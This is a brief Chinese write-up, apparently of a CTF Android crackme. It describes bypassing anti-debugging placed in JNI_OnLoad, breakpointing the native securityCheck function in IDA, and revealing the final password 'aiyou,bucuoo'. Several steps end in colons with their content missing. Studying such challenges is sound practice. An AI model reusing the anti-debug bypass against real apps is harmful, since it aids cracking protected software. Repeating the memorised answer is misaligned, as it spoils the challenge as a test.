Java层什么都没做,直接把输入传给了SO中的函数securityCheck进行处理,IDA attach后发现程序退出了,好吧,肯定是反调试了。这里顺便说一下检测调试的手段:
这道题是在JNI_OnLoad函数中进行了反调试,那么就需要在APK运行前进行调试,再次记录一下调试方法吧:
过掉反调试接下来就easy了,在Java_com_yaotong_crackme_MainActivity_securityCheck下断点,让IDA continue,最终验证逻辑就是一个简单的字符串比较:
最终密码为:aiyou,bucuoo